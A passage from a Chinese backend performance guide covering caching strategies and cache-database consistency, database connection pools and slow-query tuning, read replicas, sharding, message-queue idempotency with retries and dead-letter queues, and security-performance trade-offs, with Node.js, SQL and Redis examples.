    └─ 用分布式追踪看各阶段耗时占比

七、缓存

7.1 缓存的三种位置

位置实现命中率生效范围失效难度适用
客户端缓存Cache-Control / ETag / Last-Modified高(重复访问)单个用户中(要等浏览器过期或用带指纹的 URL)静态资源、不常变的 API 响应
CDN 缓存边缘节点缓存很高所有用户较难(需要刷新接口)图片、视频、静态文件、公共 API
应用层缓存Redis / Memcached / 进程内取决于键设计所有用户容易(主动删除/更新)数据库查询结果、计算结果、会话
// ✅ 客户端缓存:静态资源用带指纹的 URL + 长缓存
// /assets/app.3f9c1ab.js → 内容变化时 URL 也变,所以可以永久缓存
res.setHeader('Cache-Control', 'public, max-age=31536000, immutable');

// ✅ 客户端缓存:API 用 ETag 做条件请求,省掉响应体传输
app.get('/api/products/:id', async (req, res) => {
  const product = await getProduct(req.params.id);
  const etag = `"${crypto.createHash('sha1').update(JSON.stringify(product)).digest('hex')}"`;

  if (req.get('if-none-match') === etag) return res.status(304).end();   // 未变化

  res.setHeader('ETag', etag);
  res.setHeader('Cache-Control', 'private, max-age=60');   // private:只允许浏览器缓存,不进 CDN
  res.json(product);
});

// ✅ CDN 缓存:公共数据用 s-maxage 单独控制边缘节点缓存时间
res.setHeader('Cache-Control', 'public, max-age=60, s-maxage=600, stale-while-revalidate=60');

7.2 缓存更新策略对比

策略读操作写操作一致性复杂度适用
Cache-Aside(旁路缓存)先读缓存,未命中读库并回填更新库 + 删除缓存最终一致低最常用,读多写少
Read-Through缓存组件负责读库并回填—最终一致中缓存层封装了数据源
Write-Through同 Cache-Aside同时写缓存和库(同步)较强中写少、要求读最新
Write-Behind(写回)同 Cache-Aside只写缓存,异步批量写库弱(可能丢数据)高写入极高、可容忍丢失(如计数器)
// ✅ Cache-Aside:最常用的模式
async function getUser(id) {
  const key = `user:${id}`;
  const cached = await redis.get(key);
  if (cached) return JSON.parse(cached);              // 命中

  const user = await db.oneOrNone('SELECT * FROM users WHERE id=$1', [id]);
  if (user) {
    // 关键:加随机抖动,防止大量 key 同时过期(缓存雪崩)
    const ttl = 300 + Math.floor(Math.random() * 60);
    await redis.set(key, JSON.stringify(user), 'EX', ttl);
  } else {
    // 空值缓存,防止缓存穿透(TTL 要短)
    await redis.set(key, '', 'EX', 60);
  }
  return user;
}

async function updateUser(id, patch) {
  const key = `user:${id}`;
  await db.query('UPDATE users SET name=$2 WHERE id=$1', [id, patch.name]);
  await redis.del(key);                                // 更新库后删除缓存(而不是更新缓存)
}

7.3 缓存穿透、击穿、雪崩

这三个词极易混淆,用表格区分:

问题成因后果防御
穿透(penetration)查询不存在的数据,缓存永远不命中,每次都打到数据库恶意请求可以用不存在的 ID 打垮数据库① 空值缓存(短 TTL)② 布隆过滤器(提前判断 key 是否存在)③ 参数合法性校验(如 ID 必须是 UUID 格式)
击穿(breakdown)某个热点 key 过期的瞬间,大量并发请求同时未命中,一起打到数据库单个热点数据把数据库打满① 互斥锁(只让一个请求回源,其余等待)② 逻辑过期(不设 TTL,value 里带过期时间,异步刷新)③ 热点 key 永不过期 + 主动更新
雪崩(avalanche)大量 key 同时过期,或缓存服务整体不可用数据库瞬间承受全量流量而崩溃① TTL 加随机抖动 ② 缓存集群高可用(主从 + 哨兵/集群)③ 多级缓存(本地 + 分布式)④ 限流与降级兜底
// ✅ 防御穿透:布隆过滤器 + 空值缓存(两层)
// 布隆过滤器的特点:判断「不存在」一定准确,判断「存在」可能误判
// 所以它适合用来快速挡住大量不存在的 key
async function getUserWithBloom(id) {
  if (!(await bloom.mightExist(id))) {
    return null;                     // 一定不存在,直接返回,不查库
  }
  const key = `user:${id}`;
  const cached = await redis.get(key);
  if (cached !== null && cached !== undefined) {
    return cached === '' ? null : JSON.parse(cached);   // '' 表示已知不存在的空值缓存
  }

  const user = await db.oneOrNone('SELECT * FROM users WHERE id=$1', [id]);
  if (user) {
    await redis.set(key, JSON.stringify(user), 'EX', 300 + Math.floor(Math.random() * 60));
  } else {
    await redis.set(key, '', 'EX', 60);                 // 空值缓存,TTL 短
    await bloom.add(id);                                // 新增数据要同步进过滤器
  }
  return user;
}

// ✅ 防御击穿:互斥锁(只有一个请求回源)
async function getHotDataWithLock(key) {
  const cached = await redis.get(key);
  if (cached) return JSON.parse(cached);

  const lockKey = `lock:${key}`;
  // SET NX EX 是原子操作:只有一个客户端能拿到锁
  const got = await redis.set(lockKey, '1', 'NX', 'EX', 10);

  if (got) {
    try {
      const data = await loadFromDb(key);               // 只有拿到锁的请求查库
      await redis.set(key, JSON.stringify(data), 'EX', 300);
      return data;
    } finally {
      await redis.del(lockKey);                         // 释放锁
    }
  }

  // 没拿到锁:短暂等待后重试读缓存(等待回源完成)
  await sleep(50);
  const retry = await redis.get(key);
  if (retry) return JSON.parse(retry);

  // 兜底:仍然拿不到就降级(返回旧值/默认值/报错),保护数据库
  return await loadFromDbWithLimit(key);
}

// ✅ 防御雪崩:逻辑过期(热点 key 不设 TTL,由后台异步刷新)
async function getConfigWithLogicalExpire(key) {
  const raw = await redis.get(key);                     // 永不过期
  if (!raw) return await refreshConfig(key);

  const { data, expireAt } = JSON.parse(raw);
  if (Date.now() < expireAt) return data;               // 未逻辑过期

  // 已逻辑过期:尝试异步刷新,但先把旧值返回给用户(不阻塞)
  const refreshed = await redis.set(`lock:${key}`, '1', 'NX', 'EX', 10);
  if (refreshed) {
    refreshConfig(key).catch((e) => logger.error('refresh failed', { key, err: e.message }));
  }
  return data;                                          // 返回旧值,用户无感
}
# ✅ Redis 内存上限与淘汰策略:缓存场景必须显式配置
# maxmemory 留出余量(例如物理内存的 60%~70%),策略用 allkeys-lru
redis-cli CONFIG SET maxmemory 2gb
redis-cli CONFIG SET maxmemory-policy allkeys-lru
# 注意:如果 Redis 同时存持久数据与缓存,应使用 volatile-* 策略
# 或干脆拆成两个实例(更推荐,避免缓存把持久数据淘汰掉)

# 查看命中率(keyspace_hits / (hits + misses))
redis-cli INFO stats | grep -E 'keyspace_hits|keyspace_misses|evicted_keys'

Redis 做缓存的三条必知

1. 必须设置 maxmemory 与淘汰策略。否则内存写满后写入直接报错(noeviction 是默认策略),或者被操作系统 OOM 杀掉。

2. allkeys-lru 是纯缓存场景的良好默认;若同一实例混存持久数据,用 volatile-lru 并确保持久数据不设 TTL,或更稳妥地拆成两个实例。

3. 命中率要监控。命中率持续偏低说明键设计或 TTL 有问题,缓存不仅没帮上忙,还多了一次网络往返。

7.4 缓存与数据库的一致性

核心事实:缓存与数据库之间不存在「强一致的免费方案」。 任何「同时更新两处」的做法都有失败窗口(网络分区、进程崩溃、并发交错)。

为什么不要「先删缓存再写库」:

时刻  线程 A(写)                     线程 B(读)
 t1   删除缓存 key
 t2                                   读缓存 → 未命中
 t3                                   读库 → 得到【旧值】
 t4   写数据库(新值)
 t5                                   写缓存 ← 把【旧值】写进去了!  ← 脏数据长期驻留

结果:缓存里长期是旧值,直到 TTL 到期。这是「先删缓存再写库」的致命缺陷。

推荐做法:先更新库,再删缓存(Cache-Aside 的写路径)

时刻  线程 A(写)                     线程 B(读)
 t1   写数据库(新值)
 t2   删除缓存
 t3                                   读缓存 → 未命中
 t4                                   读库 → 得到【新值】
 t5                                   写缓存 ← 新值,正确

这个顺序也可能出现不一致,但窗口极小(要求 B 恰好在 A 的 t1 之前读缓存未命中、在 t2 之后才写缓存),且下一次读就会修复。

方案一致性复杂度何时使用
先更新库,再删缓存最终一致(窗口很小)低默认选择
延迟双删更接近一致中并发极高、对脏读敏感
订阅 binlog 异步删缓存较好,与业务解耦高多个写入来源,容易漏删
给缓存加版本号/逻辑过期好中可接受短暂旧值
写请求也走「仅删除、下次读回填」简单统一低大多数业务
// ✅ 延迟双删:写库前后各删一次,中间留一个「让并发读完成」的间隔
async function updateUserWithDoubleDelete(id, patch) {
  const key = `user:${id}`;

  await redis.del(key);                                  // 第 1 次删(清掉可能存在的旧值)
  await db.query('UPDATE users SET name=$2 WHERE id=$1', [id, patch.name]);

  // 第 2 次删:延迟一段时间,覆盖「在写库期间读到旧值并回填」的并发请求
  // 延迟要大于「一次读操作的最长耗时」,通常 300~1000 ms
  setTimeout(async () => {
    try { await redis.del(key); }
    catch (e) { logger.error('delayed cache delete failed', { key, err: e.message }); }
  }, 500);
}

三种「看起来对」但实际错误的一致性方案

1. 先删缓存再写库:如上文分析,会造成缓存长期脏数据。不要用。

2. 更新库的同时更新缓存:并发下两个写请求可能以不同顺序到达两处,导致缓存与库永久不一致;而且「更新缓存」浪费了一次写入(可能这个 key 根本没人读)。统一用删除,不用更新。

3. 加分布式锁保证强一致:代价极高(每次读都要加锁),且锁本身可能失效(锁超时、主从切换)。只有在「绝不能读到旧值」的场景才考虑,且更应该反思是否该用别的方式(如直接读主库)。

务实的结论:接受「最终一致 + 短暂旧值」,并把 TTL 作为兜底(即使某次删除失败,TTL 到期后也会自动修正)。TTL 是缓存一致性的最后一道保险,任何缓存 key 都应该有 TTL。

7.5 缓存键设计与内存估算

// ✅ 键命名规范:业务:实体:标识:字段(用冒号分层,便于批量清理与统计)
const keys = {
  user:        (id) => `app:user:${id}`,
  userOrders:  (id, page) => `app:user:${id}:orders:p${page}`,
  productList: (cat, page) => `app:product:list:${cat}:p${page}`,
  rateLimit:   (ip, route) => `rl:${route}:${ip}`,
  lock:        (name) => `lock:${name}`,
};
// 用 SCAN 按前缀遍历,不要用 KEYS(KEYS 会阻塞整个 Redis)
// redis-cli --scan --pattern 'app:user:123:*' --count 100

键设计的四个要点:

要点说明
包含版本号app:v2:user:123——结构变更时递增版本,等价于全量失效,避免新旧格式混用
避免无界基数不要把时间戳、请求 ID、用户输入原文直接拼进键(会产生无限多 key,撑爆内存)
控制键长度键本身占内存。app:user:12345 比 application_user_object_for_user_id_12345 省一半
区分租户多租户系统必须把 tenantId 放进键,否则会串数据(这是严重的安全问题)

内存估算公式:

其中 Redis 每个键的固定开销(dictEntry、redisObject、过期字典等)通常在 50~100 字节量级,碎片率按 1.2~1.5 估算。

举例:缓存 100 万个用户对象,每个键 app:user:1234567 约 24 字节,值(JSON)平均 500 字节,固定开销按 80 字节:

所以「100 万条小对象」大约需要 不足 1 GB。反过来说,如果只有 2 GB 内存,最多缓存约 250 万条这样大小的对象——必须设置 maxmemory 并监控 used_memory,不能假设内存无限。

估算时容易忽略的三件事

1. 键与值的实际编码:Redis 对小整数、短字符串有特殊编码能省内存;但一旦元素数量超过阈值(如 hash 的 hash-max-listpack-entries),会转成更占内存的编码。

2. 过期字典的开销:设置了 TTL 的键需要额外的过期字典条目,比永不过期的键更占内存。

3. 主从复制的额外开销:从库要存一份完整数据;开启 AOF 还需要缓冲区。所以生产实例的内存规划要按 数据量 × 副本数 + 缓冲区 计算。

八、数据库性能

8.1 连接池大小估算

连接池不是越大越好。 数据库每个连接都要占用服务端内存与进程/线程资源,过大的池会导致数据库侧上下文切换开销剧增,整体吞吐反而下降。

PostgreSQL 官方给出的经验公式(针对 SSD 场景):

举例:4 核 CPU + 1 块 SSD → 个连接就足以打满数据库。这比大多数人直觉的「几百个连接」小得多。

从应用侧反推所需池大小:

更实用的形式:

举例:单实例 200 QPS,单次查询平均 20 ms → 个连接。若偶尔有 500 ms 的慢查询,则需要按峰值核算:(这就是慢查询为什么危险——它会把池需求放大 25 倍)。

// ✅ 连接池配置要点(以通用的 pg Pool 为例)
const pool = new Pool({
  host: process.env.DB_HOST,
  max: 20,                          // 最大连接数:按上面公式算,而不是拍脑袋
  min: 2,                           // 保持的最小空闲连接,避免冷启动抖动
  idleTimeoutMillis: 30000,         // 空闲 30s 释放,避免占用数据库
  connectionTimeoutMillis: 5000,    // 获取连接的超时:必须设置!否则请求会无限等待
  statement_timeout: 10000,         // 单条语句超时,防止慢查询长期占用连接
  query_timeout: 10000,
  idle_in_transaction_session_timeout: 15000,  // 防止事务挂起占用连接
});

// ✅ 监控池的使用情况(这是最容易被忽略的必做项)
setInterval(() => {
  logger.info('db.pool', {
    total: pool.totalCount,          // 已建立的连接总数
    idle: pool.idleCount,            // 空闲连接
    waiting: pool.waitingCount,      // 正在排队等连接的请求数
  });
  // 关键告警:waiting > 0 持续出现 = 池已饱和,延迟会非线性上升
}, 15000);
参数建议值说明
max按公式计算,先小后大从 10 开始,压测逐步上调,找到吞吐拐点
min2~5保持热连接,避免流量突增时集中建连
connectionTimeoutMillis3~5 s必须设置。不设置会让请求无限等待,请求堆积比快速失败更糟
statement_timeout按接口容忍度设兜底防止慢查询占满池
idleTimeoutMillis30 s 左右及时归还数据库资源

连接池耗尽是最隐蔽的故障

症状:应用没有报错、CPU 不高、日志里几乎没有异常,但所有请求都变慢,最终超时。

根因通常是:① 有慢查询长期占用连接;② 有代码路径「借了连接没归还」(异常分支漏了 finally);③ 事务里有外部调用(HTTP 请求、文件 IO),导致连接被长时间占用;④ 扩容后实例数变多,总连接数超过数据库上限。

排查手段:监控 waiting 计数、在数据库侧查 pg_stat_activity 看长事务与空闲事务:

```sql

SELECT pid, state, wait_event_type, now() - state_change AS dur, left(query, 80) AS q

FROM pg_stat_activity

WHERE state <> 'idle' OR now() - state_change > interval '30 seconds'

ORDER BY dur DESC LIMIT 20;

```

铁律:事务里绝不做网络调用。 「开启事务 → 调第三方 API → 更新本地表」会让连接被外部服务的延迟绑住。

8.2 慢查询治理流程

① 发现 → ② 定位 → ③ 分析 → ④ 优化 → ⑤ 验证 → ⑥ 防回归

① 发现:打开慢查询日志并设置合理阈值。

-- PostgreSQL
ALTER SYSTEM SET log_min_duration_statement = '200ms';   -- 记录超过 200ms 的语句
ALTER SYSTEM SET log_lock_waits = on;
ALTER SYSTEM SET log_temp_files = 0;                     -- 记录产生临时文件的查询(内存不足的信号)
SELECT pg_reload_conf();

-- 安装 pg_stat_statements 扩展,按总耗时排序找「最贵的 SQL」
CREATE EXTENSION IF NOT EXISTS pg_stat_statements;
SELECT
  round(total_exec_time::numeric, 1) AS total_ms,
  calls,
  round(mean_exec_time::numeric, 2) AS mean_ms,
  round((100 * total_exec_time / sum(total_exec_time) OVER ())::numeric, 1) AS pct,
  left(query, 100) AS query
FROM pg_stat_statements
ORDER BY total_exec_time DESC
LIMIT 20;
-- 注意:优化优先级看 total_exec_time(总耗时),而不是单次最慢的
-- 一条 50ms 但每秒执行 1000 次的查询,比一条 3s 每小时执行一次的查询更值得优化

-- MySQL
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 0.2;
SET GLOBAL log_queries_not_using_indexes = 'ON';

② 定位:从日志里找出具体的 SQL 与参数。

③ 分析:用 EXPLAIN ANALYZE 看真实执行计划。

-- 关键:用 ANALYZE 拿到「实际」行数与耗时,而不是优化器的「估算」
EXPLAIN (ANALYZE, BUFFERS, VERBOSE)
SELECT o.id, o.amount, u.email
FROM orders o
JOIN users u ON u.id = o.user_id
WHERE o.status = 'paid' AND o.created_at >= now() - interval '7 days'
ORDER BY o.created_at DESC
LIMIT 20;
执行计划中的信号含义对策
Seq Scan 大表全表扫描加合适索引;检查是否因函数/类型转换导致索引失效
rows 估算与实际差几个数量级统计信息过期ANALYZE tablename; 或调大统计目标
Nested Loop + 大 rows嵌套循环被误选检查连接条件与索引;必要时 SET enable_nestloop = off 验证假设
Sort 且 Sort Method: external merge排序落盘(内存不足)加索引避免排序,或调大 work_mem
Buffers: read 远大于 hit缓存命中率低加内存、优化查询减少扫描量
Rows Removed by Filter 很大索引选择性差或条件不匹配改索引列顺序或加复合索引

④ 优化:按性价比排序。

手段收益风险
加/改索引高索引会拖慢写入、占空间
重写 SQL(去掉 SELECT *、减少子查询、用 JOIN 替代 IN)高低
消除 N+1 查询(批量查询/预加载)很高低
分页优化(WHERE id < last_id 代替 OFFSET)高(深分页)低
加缓存高需要处理一致性
归档历史数据、分区中需要迁移
读写分离中引入复制延迟
-- ❌ 深分页:OFFSET 越大越慢(要扫描并丢弃前 N 行)
SELECT * FROM orders ORDER BY id LIMIT 20 OFFSET 1000000;

-- ✅ 键集分页(keyset pagination):用上一页最后一个 id 作为游标
SELECT * FROM orders WHERE id < $last_id ORDER BY id DESC LIMIT 20;
-- 注意:要求排序字段有索引,且排序稳定(建议用 (created_at, id) 组合)

-- ✅ 复合索引要匹配查询的「等值 → 范围 → 排序」顺序
-- 针对 WHERE status = ? AND created_at >= ? ORDER BY created_at DESC
CREATE INDEX CONCURRENTLY idx_orders_status_created ON orders(status, created_at DESC);
-- CONCURRENTLY 关键字:不阻塞写入(生产加索引必用),但耗时更长且不能放在事务里
// ❌ N+1:1 次查订单 + N 次查用户
const orders = await db.query('SELECT * FROM orders WHERE user_id=$1 LIMIT 20', [userId]);
for (const o of orders) {
  o.user = await db.one('SELECT * FROM users WHERE id=$1', [o.user_id]);   // N 次往返
}

// ✅ 批量查询:2 次往返(用 IN 或 JOIN)
const orders = await db.query('SELECT * FROM orders WHERE user_id=$1 LIMIT 20', [userId]);
const userIds = [...new Set(orders.map(o => o.user_id))];
const users = await db.query('SELECT * FROM users WHERE id = ANY($1)', [userIds]);
const byId = new Map(users.map(u => [u.id, u]));
orders.forEach(o => { o.user = byId.get(o.user_id); });

// ✅ 或者一次 JOIN 搞定(注意一对多时的行放大问题)
const rows = await db.query(`
  SELECT o.*, u.email AS user_email
  FROM orders o JOIN users u ON u.id = o.user_id
  WHERE o.user_id = $1 ORDER BY o.created_at DESC LIMIT 20`, [userId]);

⑤ 验证:优化后用同样的数据与参数再跑 EXPLAIN ANALYZE,确认耗时与扫描行数都下降。不要凭感觉认为优化了。

⑥ 防回归:① 把慢查询阈值与告警纳入监控;② 在 CI 里对关键查询做性能测试;③ 代码评审时检查是否引入了 N+1 与缺索引的查询(更多索引与事务细节见 后端-05-数据库操作与ORM)。

8.3 读写分离与主从延迟

读写分离解决了「读多写少」场景的扩展问题:主库处理写,多个从库分担读。

             ┌──→ 从库 1(只读)
写 → 主库 ────┼──→ 从库 2(只读)
             └──→ 从库 3(只读)

但主从复制是异步的(默认),因此存在复制延迟(replication lag),导致经典的「读己之写(read-your-writes)」问题:

用户提交订单 → 写主库(成功) → 前端立即跳转到订单详情
                                    ↓
                            读从库(还没同步) → 404 订单不存在
用户看到:「我刚下的单不见了!」
一致性方案做法适用
写后短时间读主库写完后的 N 秒内(或同一会话内)强制读主库最简单,覆盖绝大多数场景
会话粘滞到主库用户会话内的读全部走主库写入频繁的会话会失去读写分离收益
基于位点/LSN 的读记录写操作的日志位点,读从库时要求从库已追到该位点精确,实现复杂
关键路径直读主库详情页、支付结果等强一致场景直读主库有效,但要评估主库压力
前端补偿写成功后返回完整数据,前端直接用返回值渲染,不立即回查体验好,但只解决局部
// ✅ 方案:会话级「写后读主库」标记
async function withWriteMark(userId) {
  await redis.set(`read:master:${userId}`, '1', 'EX', 5);   // 5 秒内读主库
}

function pickReplica(userId) {
  return redis.get(`read:master:${userId}`).then((flag) => (flag ? primary : replica));
}

// 写路径:写完后打标记
app.post('/api/orders', requireAuth, async (req, res) => {
  const order = await createOrder(req.user.id, req.body);
  await withWriteMark(req.user.id);          // 关键:让接下来的读走主库
  res.status(201).json(order);
});

// 读路径:根据标记选择数据源
app.get('/api/orders/:id', requireAuth, async (req, res) => {
  const conn = await pickReplica(req.user.id);
  const order = await conn.oneOrNone(
    'SELECT * FROM orders WHERE id=$1 AND user_id=$2', [req.params.id, req.user.id]);
  if (!order) return res.status(404).json({ error: 'not found' });
  res.json(order);
});

主从延迟的连锁风险

除了「读不到自己刚写的数据」,复制延迟还会导致:

1. 缓存回填了旧值:读从库拿到旧数据并写入缓存,缓存里长期是旧值 → 需要「读从库时不给缓存长 TTL」或「写后主动删缓存」。

2. 报表数据对不上:从库延迟时统计口径不一致。报表应明确基于哪个位点。

3. 故障切换丢数据:异步复制下主库宕机时,尚未同步的事务会丢失(对应 RPO > 0)。要求 RPO 接近 0 的场景必须用同步复制。

4. 延迟本身要监控:延迟突然增大往往是主库压力过高或网络问题的早期信号。PostgreSQL 可用 pg_stat_replication 的 replay_lag 监控。

8.4 分库分表的代价与时机

分库分表(sharding)是最后手段,因为它把「一个数据库的问题」变成了「一个分布式系统的问题」。

维度分表前分表后新增的问题
查询任意 JOIN、任意 ORDER BY、聚合随意写跨分片 JOIN 不可用、分页与聚合要在应用层合并
事务单库 ACID跨分片需要分布式事务(复杂且慢)或最终一致(要写补偿)
主键自增 ID需要全局唯一 ID(雪花算法、号段、UUID)
扩容加从库即可重新分片要迁移数据、双写、切流;一致性哈希可缓解但仍有代价
运维备份、监控一个库N 个库的备份、监控、版本一致、DDL 协调
开发写 SQL 就行需要中间件或自研路由层,SQL 有诸多限制(不能跨分片 JOIN、不能无分片键查询)

该考虑分库分表的信号(按顺序尝试前一步无效再进入下一步):

1. 单表数据量很大、查询变慢
   ↓ 先试:加索引、优化 SQL、去掉 SELECT *
2. 仍然慢
   ↓ 再试:加缓存(读)、异步化(写)
3. 写压力仍然过大
   ↓ 再试:垂直拆分(按业务拆库,如订单库/用户库/商品库)—— 改动大但收益直接
4. 单表仍然过大(数亿行)或单库写入打满
   ↓ 再试:分区表(PostgreSQL 声明式分区 / MySQL 分区)—— 对应用透明,收益有限但成本低
5. 分区也不够了
   → 才考虑分库分表(水平拆分)

判断的量化依据(不要凭「感觉数据多」):

指标阈值参考说明
单表行数千万级以上且查询明显变慢但索引良好时上亿行也能跑;行数不是唯一标准
单表大小超过可用内存,索引无法全缓存更关键的指标
写入 QPS单库写入接近上限优先考虑归档冷数据、批量合并写
磁盘空间单实例接近上限先考虑归档与冷热分离
DDL 时间加一个索引要数小时且锁表分区或分表能改善

如果必须分片,分片键(shard key)的选择决定一切:

要求原因
高基数分片才能均匀(用 status 当分片键只有几个值,必然倾斜)
分布均匀避免热点分片
大多数查询都带它否则每次查询都要广播到所有分片
不可变分片键变了就要跨分片迁移数据

分库分表是单程票

一旦上线,回退成本极高(数据已分散、应用层已依赖路由逻辑、SQL 已被限制)。

因此上分片之前必须:① 确认前四步(索引、缓存、异步、垂直拆分/分区)都已做过并量化验证;② 分片键经过充分论证;③ 准备好在线扩容方案(一致性哈希或双写迁移);④ 有完整的数据校验与回滚预案。

对绝大多数业务而言,「垂直拆业务库 + 单库分区 + 冷热分离」能撑到比想象中大得多的规模。

九、异步与削峰

9.1 消息队列的三大作用

作用含义例子
解耦生产者不需要知道消费者是谁、有几个下单后要发短信、加积分、写报表——下单只发一条消息
异步把不必立即完成的工作移出请求路径用户提交订单后立即返回,发票生成异步做
削峰把突发流量缓存在队列里,消费者按自己的能力处理秒杀 10 万 QPS 写入,消费端稳定按 2000 QPS 处理
同步(无队列):
用户 → API → [发短信 200ms] → [加积分 150ms] → [写报表 500ms] → 返回
                                          总耗时 ≈ 850ms,任一环节失败都要处理回滚

异步(有队列):
用户 → API → 写库 + 入队(10ms)→ 返回          总耗时 ≈ 10ms
                     ↓
              消费者依次处理短信/积分/报表(失败可重试)

引入队列的代价(必须正视):

  • 复杂度上升:多了一个必须运维的中间件(高可用、监控、容量)。
  • 一致性问题:从「一个数据库事务」变成「本地事务 + 消息投递」的分布式一致性问题。
  • 调试更难:请求跨越了进程与时间,需要 traceId 串联。
  • 延迟增加:异步意味着结果不是立即就绪,前端要处理「处理中」状态。

9.2 引入 MQ 后的一致性问题

核心事实:几乎所有消息队列的投递语义都是「至少一次(at-least-once)」,即消息可能重复投递。原因很简单:生产者发出消息后没收到确认,无法区分「消息丢了」还是「确认丢了」,只能重发。

生产者 → 投递消息 → Broker 收到并存储
                     ↓
              (确认在返回途中丢失)
生产者 → 认为失败 → 重发 → Broker 存了两份 → 消费者处理两次

因此正确的组合是:至少一次投递 + 幂等消费。

// ✅ 消费端幂等:用「已处理消息表 + 唯一约束」保证同一条消息只生效一次
async function handleOrderPaid(msg) {
  const { messageId, orderId, amount } = msg;

  await db.tx(async (t) => {
    // 1. 尝试登记消息 ID。唯一约束让重复消息在这里失败
    try {
      await t.query('INSERT INTO processed_messages(message_id, consumer, processed_at) VALUES($1,$2,now())',
                    [messageId, 'order-paid-consumer']);
    } catch (e) {
      if (e.code === '23505') return;      // 已处理过,直接返回(幂等)
      throw e;
    }

    // 2. 业务处理与登记在同一个事务里 —— 要么都成功,要么都回滚
    await t.query('UPDATE orders SET status=$1, paid_at=now() WHERE id=$2 AND status=$3',
                  ['paid', orderId, 'pending']);
    await t.query('INSERT INTO order_events(order_id, event, amount) VALUES($1,$2,$3)',
                  [orderId, 'paid', amount]);
  });
}

// ⚠️ 反模式:先执行业务,再登记消息 ID
// 如果业务成功、登记失败(进程崩溃),重投时业务会被执行第二次

「本地事务 + 消息」的两种可靠模式:

模式做法优缺点
事务消息 / Outbox 表在同一个数据库事务里写业务表 + 写一条 outbox 记录;另一个进程读 outbox 并投递到 MQ可靠,不依赖 MQ 特性;需要额外的投递进程与清理
MQ 原生事务消息使用 MQ 提供的事务消息能力(先发半消息,本地事务成功后再提交)少写代码;绑定特定 MQ 实现
-- ✅ Outbox 模式:业务写入与消息记录在同一个事务里,保证「要么都发生,要么都不发生」
BEGIN;
  UPDATE orders SET status='paid', paid_at=now() WHERE id=$1 AND status='pending';
  INSERT INTO outbox(id, topic, payload, created_at)
    VALUES (gen_random_uuid(), 'order.paid', '{"orderId": 123}', now());
COMMIT;
-- 独立的投递进程轮询 outbox,投递成功后标记 sent_at 并定期归档
-- 因为它读的是「已提交的记录」,所以不存在「业务成功但消息丢失」

幂等的三个实现层次(按可靠性排序)

1. 数据库唯一约束:最可靠。无论并发、重试、崩溃,都不可能成功两次。

2. 条件更新 + 检查影响行数:UPDATE ... WHERE status='pending' 后判断 rowCount,天然幂等(第二次更新影响 0 行)。

3. 应用层查表判断:可靠性最低,因为「查询 → 判断 → 写入」之间存在竞态;只能作为辅助。

与第 5.3 节的结论一致:把幂等判断交给数据库,而不是应用代码。

9.3 任务重试与死信队列

重试(retry)不是「失败就再试」,而是需要严格设计的机制,否则一次下游故障会演变成雪崩。

// ✅ 带指数退避 + 抖动 + 重试上限的重试
async function retryWithBackoff(fn, { maxAttempts = 5, baseMs = 200, maxMs = 30000 } = {}) {
  let lastErr;
  for (let attempt = 1; attempt <= maxAttempts; attempt++) {
    try {
      return await fn(attempt);
    } catch (err) {
      lastErr = err;

      // 只重试「可能成功」的错误:网络超时、5xx、限流
      // 绝不重试 4xx(参数错误)与业务校验失败 —— 重试多少次都不会成功
      if (!isRetryable(err)) throw err;
      if (attempt === maxAttempts) break;

      // 指数退避 + 全抖动(full jitter):避免所有客户端同时重试
      const exp = Math.min(maxMs, baseMs * 2 ** (attempt - 1));
      const delay = Math.random() * exp;
      await sleep(delay);
    }
  }
  throw lastErr;
}

function isRetryable(err) {
  if (err.code === 'ECONNRESET' || err.code === 'ETIMEDOUT') return true;
  const s = err.status ?? err.statusCode;
  if (s === 429) return true;                  // 限流,值得重试
  if (s >= 500 && s < 600) return true;        // 服务端错误
  if (s >= 400 && s < 500) return false;       // 客户端错误,重试无意义
  return false;
}
重试要点说明
限制次数与总时长无上限重试等于自我 DDoS
指数退避第 n 次等待约 ,给下游恢复时间
加抖动否则所有实例会在同一时刻重试,形成新的尖峰
只重试可重试的错误4xx 与业务校验失败重试无意义,只会放大负载
幂等重试的前提是幂等,否则会产生重复副作用
重试预算全链路的重试次数要有总预算(例如不超过原始请求量的 10%),避免重试流量压垮下游

死信队列(DLQ, Dead Letter Queue) 用于接住「重试耗尽仍失败」的消息:

主队列 → 消费者处理
           ├─ 成功 → 确认并删除
           └─ 失败 → 重试(带退避)
                       ├─ 成功 → 确认
                       └─ 超过最大重试次数 → 投递到死信队列 + 触发告警
                                                  ↓
                                    人工/脚本检查并决定:重投 or 丢弃 or 补偿
// ✅ 消费者:区分可重试与不可重试的失败
async function consume(msg) {
  try {
    await handle(msg);
    await ack(msg);
  } catch (err) {
    const attempts = Number(msg.headers['x-attempts'] || 0) + 1;

    if (!isRetryable(err) || attempts > 5) {
      // 不可重试 或 超过上限 → 进死信队列
      await publish('order.paid.dlq', {
        original: msg.body,
        error: err.message,
        attempts,
        failedAt: new Date().toISOString(),
      });
      await ack(msg);                        // 确认原消息,避免无限重投
      metrics.increment('dlq.messages', { topic: 'order.paid' });
      logger.error('message moved to DLQ', { attempts, err: err.message, msgId: msg.id });
      return;
    }

    // 可重试:带退避地重新入队
    const delay = Math.min(30000, 200 * 2 ** (attempts - 1));
    await publish('order.paid.retry', msg.body, {
      headers: { 'x-attempts': attempts },
      delayMs: delay,
    });
    await ack(msg);
  }
}

死信队列的三条纪律

1. 死信队列必须有告警。没有告警的死信队列相当于一个静默的数据黑洞——消息进去了,业务没执行,但没人知道。

2. 死信队列必须有容量上限与清理策略。一次故障可能瞬间灌入百万条消息,把 MQ 或磁盘撑爆。

3. 死信队列必须有处理流程。每条死信都要能回答:为什么失败?能不能重投?要不要人工补偿?只堆积不处理的 DLQ 会在几周后变成无法收拾的技术债。

十、安全与性能的冲突

安全措施几乎都以性能为代价。工程判断的关键是:知道代价有多大、在哪里,以及如何把代价降到可接受。

冲突点安全的诉求性能的代价平衡方案
密码哈希必须用慢哈希抵抗离线破解每次登录消耗几十毫秒 CPU 与内存① 参数调优到「单次 < 1 秒」;② 登录接口单独限流(见下);③ 限制并发登录尝试数
TLS 握手全站 HTTPS、强加密套件握手有非对称运算开销,TLS 1.2 需 2 个 RTT① 开启会话复用(ssl_session_cache)② 启用 TLS 1.3(1 RTT,支持 0-RTT)③ 长连接与 HTTP/2 复用 ④ 在边缘终止 TLS
字段加密敏感数据落库加密加密后的字段无法用于索引查找与范围查询① 需要检索的字段用「确定性加密 + 单独索引列」或存哈希;② 只加密真正敏感的部分;③ 用数据库透明加密(TDE)在存储层加密
审计日志记录每次敏感数据访问额外的写 IO,日志量巨大① 只审计关键操作(导出、权限变更、批量读);② 异步写日志;③ 采样高频只读访问
